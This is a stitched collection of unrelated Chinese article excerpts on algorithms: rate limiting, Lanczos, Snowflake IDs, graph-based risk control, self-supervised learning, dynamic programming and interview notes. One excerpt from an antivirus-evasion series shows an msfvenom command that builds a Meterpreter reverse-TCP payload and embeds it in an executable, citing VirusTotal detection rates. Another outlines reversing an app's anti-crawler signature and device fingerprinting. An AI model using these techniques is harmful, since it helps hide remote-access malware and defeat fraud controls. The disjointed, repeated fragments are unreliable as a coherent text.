本文主要讲述常见的几种限流算法：计数器算法、漏桶算法、令牌桶算法。然后结合我对 Sentinel 1.8.0 的理解，给大家分享 Sentinel 在源码中如何使用这些算法进行流控判断。...为了解决计数器算法的缺陷，我们引入了滑动窗口算法。下面这张图，很好地解释了滑动窗口算法： ? 在上图中，整个红色的矩形框表示一个时间窗口，在我们的例子中，一个时间窗口就是一分钟。...我再来回顾一下刚才的计数器算法，我们可以发现，计数器算法其实就是滑动窗口算法。只是它没有对时间窗口做进一步地划分，所以只有1格。...令牌桶算法是网络流量整形（Traffic Shaping）和速率限制（Rate Limiting）中最常使用的一种算法。...计数器 VS 时间窗 时间窗算法的本质也是通过计数器算法实现的。
Lanczos算法是一种基于瑞利-里兹方法的正交变换法，该方法在许多有限元软件得到了应用。例如ANSYS中模态分析就有Lanczos算法。 Lanczos基本算法流程： 对i=2,3，......点击这里查看Householder变换 当q<n时，Lanczos算法可得出精确的低阶频率结果。...实际应用的Lanczos算法都是在上述基本算法基础上改进的。...【例1】 如图所示的平面桁架，E = 2.0E11Pa，A = 1E-4m2，ρ=7300kg/m3,采用集中质量矩阵，用Fortran语言自编程序求得前两阶自振频率分别为 231.8679，278.3737...这是算法本身的局限性。
导读：本文将分享图算法在风控中的应用。...今天的介绍会围绕下面四点展开：图算法和风控简介图算法在风控的演化相应平台的心得展望未来分享嘉宾｜汪浩然 互联网行业资深风控和图计算专家编辑整理｜戴杰 永辉超市出品社区｜DataFun----01/图算法和风控简介...什么是图算法——图机器学习早期业内是直接应用这套传统图算法到风控中，随着技术的发展，图机器学习也开始应用在风控中。...什么是风控上图中的台词很好地概括了风控的工作，“人活一世，有的人成了面子，有的人成了里子，都是时势使然”。从事金融风控、交易风控，风控规则和算法是公司的核心竞争力，都需要保密。...以上这些就是图算法和风控相遇的原因。--02/图算法在风控的演化1. 几个核心趋势早年间风控尤其是风控策略，更多的是一个 Rule Writer。通过业务理解写规则，慢慢演化成算法模型。
想起刚入门风控时，天天对变量进行WOE变换，很多书籍和文章都讲得很详细，公式和例子都有，但他们很少直接回答: 为啥要用WOE？ 不用WOE不行吗？ WOE有啥神奇功效？...在风控用到的数据里，我们会用到两种变量： Numerical Variable，数值变量。例如逾期金额，天数。 Categorical Variable，类别变量。例如客户职业。...例如在风控场景里，我们可能用到客户的年龄做特征。我们知道肯定不是年龄越大风险越高，或者年龄越大风险越低，一定是有个年龄段的风险是比其他年龄段高些。
但是数据迁移后我们遇到一个问题，之前mysql数据库中，我们采用的是自增id主键，可选用的tidb又对自增主键不是很友好，所以我们选用了另一种主键生成方式：Snowflake算法。...算法原理 SnowFlake算法是Twitter设计的一个可以在分布式系统中生成唯一的ID的算法，它可以满足每秒上万条消息ID分配的请求，这些消息ID是唯一的且有大致的递增顺序。...SnowFlake算法产生的ID是一个64位的整型，结构如下： 图片 第一位是标识位，一般不使用，接下来的41位为毫秒级时间差（以1970年为起始时间，41位的长度可以使用69年，从1970-01-01...图片 总结 Snowflake是分布式系统中，用来生成全局唯一ID的一种常用算法。和UUID相比，Snowflake具有简单、占用空间小、有序等优点。...但Snowflake算法也有它的弊端，时钟回拨、时钟错乱问题，将是我们程序中需要考虑的问题。
前言 通常我们在实际项目中很少使用AUTO_INCREMENT自增长，因为这样很容易被人遍历，从1循环到最大值，把所有的库都遍历一遍。...(转换成字符串后长度最多19) snowflake生成的ID整体上按照时间自增排序，并且整个分布式系统内不会产生ID碰撞（由datacenter和workerId作区分），并且效率较高。...优点： 整体上按照时间自增排序，并且整个分布式系统内不会产生ID碰撞(由数据中心ID和机器ID作区分)，并且效率较高，经测试，SnowFlake每秒能够产生26万ID左右。...毫秒数在高位，自增序列在低位，整个ID都是趋势递增的。 不依赖数据库等第三方系统，以服务的方式部署，稳定性更高，生成ID的性能也是非常高的。 可以根据自身业务特性分配bit位，非常灵活。.../** 数据标识id所占的位数 */ private final long datacenterIdBits = 5L; /** 支持的最大机器id，结果是31 (这个移位算法可以很快的计算出几位二进制数所能表示的最大十进制数
三面:人生，问我后悔读博吗哈哈哈，好问题 终面:之前的自动驾驶项目，一些对规控实际case 的理解，动态表，其他的忘了。 秋招 0. 华为海思 华为感觉是在我找实习的时候参加的优招?...图森未来规控 一面:规划和控制两个组同时面，都问了一些问题，主要是控制的面试官在问，有意思的是，他一开始就先说，我们要说清楚，不是搞了pi调参就叫做搞了控制，哈哈哈我说我很同意!ok，开始。...百度规控 一面，项目代码，c++ 二面，你觉得和cs比，自己的优势，竟然又问到了ekf多传感器融合，横向纵向规划控制具体case，c ++ 两面暴露了c ++功底不够，又回去补补补......不怕面数学，智力，算法，项目，就怕问c++...啃c++primer...虚函数表啥的都搞清楚吧 三面，人生 4.滴滴规控 一面，也是一样的，规划控制的项目，一些具体case 的理解，代码是两个数组找中位数...适合搞算法爆喜欢数学就去搞算法，坚定了，不要转去开发。喜欢开发也坚定了，不要看同学算法年薪高就去搞算法。。。
本专题文章导航 1、远控免杀专题文章(1)-基础篇：https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg 2、远控免杀专题文章(2)-msfvenom隐藏的参数...4.msf自捆绑免杀(VT查杀率39/69) 在生成payload时可以使用捆绑功能，使用msfvenom的-x参数可以指定一个自定义的可执行文件作为模板,并将payload嵌入其中，-x后面跟对应文件路径就可以...5.msf自捆绑+编码(VT查杀率35/69) 将上面的编码和捆绑两种方法结合一下进行尝试 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2
TabTransformer算法：同样来自谷歌，使用自注意力机制（Self-attention）来处理结构化数据，在半监督任务上显著优于GBDT算法。...对于仅有风险数据集市，而没有风险数据中台的金融机构，这类算法就是对风险数据集市的续命。 优势2：可以灵活定义优化目标，支持半监督、自监督等特定数据场景。 劣势：模型的调参复杂、可解释性较差。 3. ...半监督机器学习可以分为自训练算法、基于图的半监督算法、半监督支持向量机等。半监督深度学习可以分为半监督分段网络、半监督一体化网络等。...(1) 半监督机器学习 自训练算法 利用有标签样本训练的模型对无标签样本进行预测，得到无标签样本的伪标签，然后按照一定策略选出其中的可信样本加入训练集中重新训练模型。...例如，可以通过自编码器预训练，然后将中间层的结果输入网络分类器，也可采用类似于自训练算法的思想，将神经网络作为分类器，生成伪标签并重新训练模型。
直播预告 议题一：腾讯云DBbridge产品架构演进之路（1月13日13：00-13：40） 分享嘉宾：程学飞，腾讯云数据库高级工程师 程学飞(flyycheng),现任腾讯云 DBbridge 产品经理...腾讯云大数据专家工程师 李晓森(hansenli)硕士毕业于北京大学，腾讯云大数据专家工程师，腾讯云图数据库和图计算开源协同项目Owner & PMC成员，专注于图智能平台的建设，以及推动图平台在腾讯金融支付、安全风控、...本次分享将介绍腾讯图智能团队通过图数据库的技术创新与应用如何应对这些挑战，构建一站式海量图数据存储、管理、实时查询、计算和可视化的图平台能力，满足内部调度系统、微信支付、风控安全等多个场景对图数据库的需求
导读：本文将分享图算法在风控中的应用。 今天的介绍会围绕下面四点展开： 图算法和风控简介 图算法在风控的演化 相应平台的心得 展望未来 分享嘉宾｜汪浩然，互联网行业资深风控和图计算专家。...图算法和风控简介 什么是图算法——图论算法 图片 图算法最早来源于图论和组合优化相关算法，在风控里面应用比较多的基本上都是传统的图算法或比较偏数学理论的算法，如最短路径发现，不同的账号和交易之间存在异常的最短路径...什么是图算法——图机器学习 图片 早期业内是直接应用这套传统图算法到风控中，随着技术的发展，图机器学习也开始应用在风控中。...什么是风控 图片 上图中的台词很好地概括了风控的工作，“人活一世，有的人成了面子，有的人成了里子，都是时势使然”。从事金融风控、交易风控，风控规则和算法是公司的核心竞争力，都需要保密。...以上这些就是图算法和风控相遇的原因。 图算法在风控的演化 几个核心趋势 图片 早年间风控尤其是风控策略，更多的是一个 Rule Writer。通过业务理解写规则，慢慢演化成算法模型。
SVDFormer-自增强自结构双生点云补全算法-ICCV2023论文详解 1. 方法前瞻 目前，点云补全任务只要存在以下两个挑战：利用不完整的点云中生成真实的全局形状，并生成高精度的局部结构。...然而，这些方法并不总是完全利用可用于准确高质量点云补全的跨模态自结构信息。...图3 3.2.1 结构分析单元 由于来自缺失区域的几何细节很难恢复，本方案嵌入了一个不完整性感知自注意力层，来明确鼓励网络关注更多在缺失的区域。...计算过程与vanilla自注意力类似，唯一的不同在于查询矩阵是由 F_Q 产生的，而 F_{in} 充当键和值向量。...这两个解码器具有相同的架构，都是由两个自注意力层实现。
目录: 一、线上买菜场景简述 二、风控在业务中的应用 三、产品整体框架 四、初始化分析 五、反爬签名流程 六、设备指纹分析 七、算法还原 八、总结 一、线上买菜场景简述 1、分析说明 1....二、反作弊风控在业务中的应用 1、APP推广拉新 还记得在2020年的下半年时候，当时生鲜电商的社区团购大战非常火爆，各种买菜APP蜂拥而入，砸钱、抢流量，你争我抢玩得不亦乐乎。...怎么识别出有效的流量与虚假流量，需要一个完善的风控体系与制定有效的策略找出高质量流量，然后把这些流量留下来。...这个环节中就会有各种薅羊毛的人群出现，同样需要完善的风控体系与制定有效的策略来最大程度地甄别风险。...七、算法还原 7.1、加密设备指纹请求体算法(不全部展开了吧,大多都是标准算法) 设备指纹相关用到的算法有AES、压缩、RC4、hmac、base64。
本文将围绕大数据风控，结合个推实践，介绍金融风控机器学习的基本流程、算法实践和产品化建设等内容。 ? ?...风控流程 & 多维度特征 大数据风控的内容 数据是风控的核心要素，大数据风控实际上就是对数据的处理、建模和应用的过程。大数据风控的流程主要分为四个阶段：数据获取、数据分析、数据建模、风控产品应用。...对获取到的海量数据进行清洗和挖掘，有针对性地对金融特征进行深加工；接着通过规则策略和模型算法的构建，对外输出相应的风控服务。...首先，对持续更新的海量一手数据进行收集、清洗、存储，在数据存储前进行ID打通；第二步，对清洗好的原数据进行特征构建；最后，利用多维度特征进行金融风控模型构建，用到的技术包括协同推荐算法、LR算法、XGBoost...风控场景机器学习的算法实践 利用上述多维度特征和建模能力，增能于贷前、贷中和贷后全流程：拉、选、评、管、催五大环节。 ?
(转换成字符串长度为18) snowflake生成的ID整体上按照时间自增排序，并且整个分布式系统内不会产生ID碰撞（由datacenter和workerId作区分），并且效率较高。...1000; i++) { Response.Write(idworker.nextId() + ""); } 转自:
AI 科技评论 今天给大家介绍一篇被 CVPR 2021 收录的关于自监督的文章——S2-BNN [1]，论文作者来自 CMU，HKUST 和 IIAI。...基于这个疑问：作者首先使用默认参数的MoCo V2作为自监督学习基准算法(baseline)，在使用ReActNet作为主干网的时候在ImageNet上得到46.9%。...单纯使用对比学习（使用增强后的MoCo V2作为对比学习算法）； 2. 对比学习损失加上知识蒸馏损失(文章使用cross-entropy loss作为蒸馏损失)训练模型； 3....下面是两种策略的算法示意图： ? 核心实验结果： 作者在ImageNets-1k上进行了实验，核心结果如下： ?...同时期一些基于蒸馏的自监督学习方法： 最近基于知识蒸馏的自监督方法有不少，包括跟本文同时期的SEED [2] (发表于ICLR 2021, 两者投稿相隔一个月，可以认为是同时期的工作) 以及后续比较有名的
Beyond Just Vision: A Review on Self-Supervised Representation Learning on Multi...
基本算法-令牌桶 原始算法 令牌桶（Token-Bucket）是目前最常采用的一种流量测量方法，我们可以想象一个存放令牌的容器，预先设定一定的容量。...优化 我们可以将该算法优化，记录下最后一次获取令牌的时间戳和令牌数量，在下一次取令牌的时候根据两次时间戳的间隔计算出应该维护的令牌数后再取令牌，算法时间复杂度和空间复杂度均为O(1)，且不需要额外线程开销...分级流控算法 原理 在货币化改造的基础上，我们还可以对不同的功能接口设置不同的等级，同时将设置多个不同等级的令牌桶，不同等级的接口应该在不同等级的令牌桶中获取执行令牌，当获取成功后，我们将所有低于该等级的令牌桶的令牌窃取相应的数量...服务降级 当高级接口调用频繁的时候，低级令牌桶的令牌总是会被窃取走（因为窃取可以窃取为负数，而流控接口若扣除失败则不会扣除任何令牌，可以理解为窃取优先级高于流控），低级接口获取不到令牌，只能执行事先设定的拒绝策略...，从而达到服务降级逻辑 多节点同步 我们可以通过一定的同步机制将节点的消耗传递给其他节点，并在其他节点窃取令牌以达到分布式全局流控的效果。
这种差异限制了自监督学习的广泛应用，例如为理解图像而设计的强大算法不能直接应用于文本，因此很难以相同的速度推动多种模态的进展。...data2vec 是首个适用于多模态的高性能自监督算法。...Meta AI 将 data2vec 分别应用于语音、图像和文本，在计算机视觉、语音任务上优于最佳单一用途算法，并且在 NLP 任务也能取得具有竞争力的结果。...像素的集合与音频波形或文本段落非常不同，因此，算法设计与特定的模态紧密联系在一起。这意味着算法在每种模式下的功能仍然不同。...data2vec 证明其自监督算法可以在多种模态下良好执行，甚至比现有最佳算法更好。这为更一般的自监督学习铺平了道路，并让人工智能更接近使用视频、文本、音频来学习复杂世界的目标。
文章目录 一、动态规划简介 二、自底向上的动态规划示例 1、原理分析 2、算法设计 3、代码示例 三、自顶向下的动态规划示例 1、算法设计 2、代码示例 一、动态规划简介 ---- 动态规划 ,...英文名称 Dynamic Programming , 简称 DP , 不是具体的某种算法 , 是一种算法思想 ; 具体的算法都有具体的步骤 , 如 : 二分法 , 其 有固定的解决步骤 , 先取一个中心点..., 得到了最佳结果 ; 贪心算法 只注重 当前利益最大化 ; 贪心算法 只考虑下一步的最佳利益 ; 动态规划 实现方法 : 递归 : 如 记忆化搜索 的实现 ; for 循环 : 使用 多重 for...循环 实现 ; 二、自底向上的动态规划示例 ---- 从 下图的 数字三角形 中 从上到下 找到一条 最短路径 ; 1、原理分析 自底向上 的动态规划思想 : 下面的 n 的最佳路径 指的是 以 n...minimumTotal(triangle); System.out.println("三角形最短路径为 " + minTotal); } } 执行结果 : 三角形最短路径为 6 三、自顶向下的动态规划示例
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